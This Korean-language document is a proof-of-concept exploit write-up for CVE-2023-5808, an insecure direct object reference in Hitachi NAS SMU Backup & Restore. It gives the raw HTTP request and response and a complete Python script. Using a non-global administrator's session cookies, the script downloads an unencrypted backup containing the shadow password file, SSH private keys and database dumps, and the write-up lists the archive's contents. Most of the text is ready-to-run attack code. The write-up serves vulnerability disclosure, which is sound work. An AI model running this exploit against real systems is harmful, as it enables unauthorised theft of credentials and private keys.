
CVE-2023-5808에 대한 개념 증명 익스플로잇으로, Hitachi NAS SMU Backup & Restore의 IDOR 취약점을 이용하여 권한이 없는 사용자가 민감한 구성 및 자격 증명 데이터를 다운로드할 수 있습니다.
CVE-2023-5808은 Hitachi NAS (HNAS)의 System Management Unit (SMU) Backup & Restore 기능에서 발견된 안전하지 않은 직접 객체 참조 (IDOR) 취약점입니다. 이 취약점은 14.8.7825.01 이전의 SMU 버전에 영향을 미칩니다.
이 악용에는 공격자가 Read-Only 또는 Global Administrator가 아닌 사용자 계정의 자격 증명을 통제할 수 있어야 합니다. 즉:
Storage AdministratorServer AdministratorServer + Storage Administrator설계 상, Global Administrator 역할을 가진 사용자는 https://<HOSTNAME/FQDN/IP>/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored에 위치한 SMU의 Backup & Restore 기능에 접근하고 다음 요청을 보낼 수 있어야 하며, 이는 (암호화되지 않은/비밀번호 없는) 백업을 생성하고 다운로드합니다.
GET /mgr/app/template/simple%2CBackupSmuScreen.vm/password/ HTTP/1.1
Host: REDACTED
Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://REDACTED/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
요청이 성공하면 SMU는 다음 응답으로 응답하고 smu_2023-04-12_1543+0200.zip의 다운로드를 시작합니다:
HTTP/1.1 200
Cache-Control: PRIVATE
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: cache
Content-Disposition: attachment;filename=smu_2023-04-12_1543+0200.zip
Content-Type: application/download
Content-Length: 1831412
Date: Wed, 12 Apr 2023 13:43:15 GMT
Connection: close
Server: SMU
[DATA]
그러나 SMU의 비즈니스 로직의 간과로 인해 Storage Administrator, Server Administrator 또는 Server + Storage Administrator 계정에 접근할 수 있는 공격자는 JSESSIONID 및 JSESSIONIDSSO 쿠키를 자신이 보유한 사용자의 쿠키와 일치하도록 업데이트하여 백업 아카이브를 다운로드할 수 있습니다.
따라서 CVE-2023-5808.py와 같은 스크립트를 사용하여 이 취약점을 악용할 수 있습니다:
#!/usr/bin/python3
#
# Title: Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore IDOR Vulnerability
# CVE: CVE-2023-5808
# Date: 2023-12-13
# Exploit Author: Arslan Masood (@arszilla)
# Vendor: https://www.hitachivantara.com/
# Version: < 14.8.7825.01
# Tested On: 13.9.7021.04
import argparse
from datetime import datetime
from os import getcwd
import requests
parser = argparse.ArgumentParser(
description="CVE-2023-5808 PoC",
usage="./CVE-2023-5808.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
)
# Create --host argument:
parser.add_argument(
"--host",
required=True,
type=str,
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="JSESSIONID cookie value"
)
# Create --sso argument:
parser.add_argument(
"--sso",
required=True,
type=str,
help="JSESSIONIDSSO cookie value"
)
args = parser.parse_args()
def download_file(hostname, jsessionid, jsessionidsso):
# Set the filename:
filename = f"smu_backup-{datetime.now().strftime('%Y-%m-%d_%H%M')}.zip"
# Vulnerable SMU URL:
smu_url = f"https://{hostname}/mgr/app/template/simple%2CBackupSmuScreen.vm/password/"
# GET request cookies
smu_cookies = {
"JSESSIONID": jsessionid,
"JSESSIONIDSSO": jsessionidsso
}
# GET request headers:
smu_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Dnt": "1",
"Referer": f"https://{hostname}/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
"Connection": "close"
}
# Send the request:
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
with open(filename, 'wb') as backup_archive:
# Write the zip file to the CWD:
backup_archive.write(file_download.content)
print(f"{filename} has been downloaded to {getcwd()}")
if __name__ == "__main__":
download_file(args.host, args.id, args.sso)
CVSS v3.1 점수 7.6의 근거는 smu_2023-04-12_1543+0200.zip의 내용을 살펴봄으로써 더 이해할 수 있습니다:
$ tree -a
.
├── adc_replic
│ ├── backup.properties
│ ├── mig_policies
│ │ ├── MIGR_TEST_POL
│ │ │ ├── 1
│ │ │ │ ├── config
│ │ │ │ └── lockfile
│ │ │ ├── config
│ │ │ └── lockfile
│ │ └── next_schedule
│ ├── mig_rules
│ │ └── MIGR_TEST
│ ├── pkgHandler.xml
│ ├── replic_policies
│ ├── replic_rules
│ ├── replic_schedules
│ │ └── next_schedule
│ └── replic_scripts
├── backup.properties
├── mgr
│ ├── axalon.properties
│ ├── backup.properties
│ ├── banner.txt.disabled
│ ├── managedservers.json
│ ├── pkgHandler.xml
│ ├── systemmonitor_1.xml
│ ├── systemmonitor_2.xml
│ └── systemmonitor_3.xml
├── network
│ └── yp.conf
├── postgresql
│ ├── backup.properties
│ ├── config_pgdump.tar
│ ├── pkgHandler.xml
│ └── rolledupstats_pgdump.tar
├── quorumdev2
│ ├── backup.properties
│ ├── CB-HNAS1-CLU
│ │ └── cluster.conf
│ ├── HH-HNAS1-CLU
│ │ └── cluster.conf
│ └── quorumdev2.conf
├── quorumdevice
│ └── backup.properties
├── readyToShip
│ ├── backup.properties
│ ├── pkgHandler.xml
│ ├── ssh_host_dsa_key
│ ├── ssh_host_dsa_key.pub
│ ├── ssh_host_key
│ ├── ssh_host_key.pub
│ ├── ssh_host_rsa_key
│ └── ssh_host_rsa_key.pub
├── server-tools
│ ├── backup.properties
│ ├── ldap.conf.rb
│ ├── massage-commands-for-managed-servers
│ ├── ypcat-group
│ └── ypcat-passwd
├── smu_users
│ ├── backup.properties
│ ├── manager
│ │ └── ssh
│ │ └── known_hosts
│ ├── pkgHandler.xml
│ ├── root
│ │ └── ssh
│ │ └── known_hosts
│ └── shadow
└── tomcat
├── backup.properties
├── nas.keystore
└── pkgHandler.xml
25 directories, 49 files
.zip 아카이브에는 SMU 구성에 관한 다양한 파일이 포함되어 있습니다. 포함된 파일은 (다음에 국한되지 않음):
SMU의 /etc/shadow 파일, 모든 사용자의 CLI 비밀번호 해시 포함,PEM DSA, PEM RSA 및 OpenSSH RSA1 개인 키,PostgreSQL 데이터베이스 덤프.이 취약점은 CVE-2023-6538의 "자매 취약점"입니다.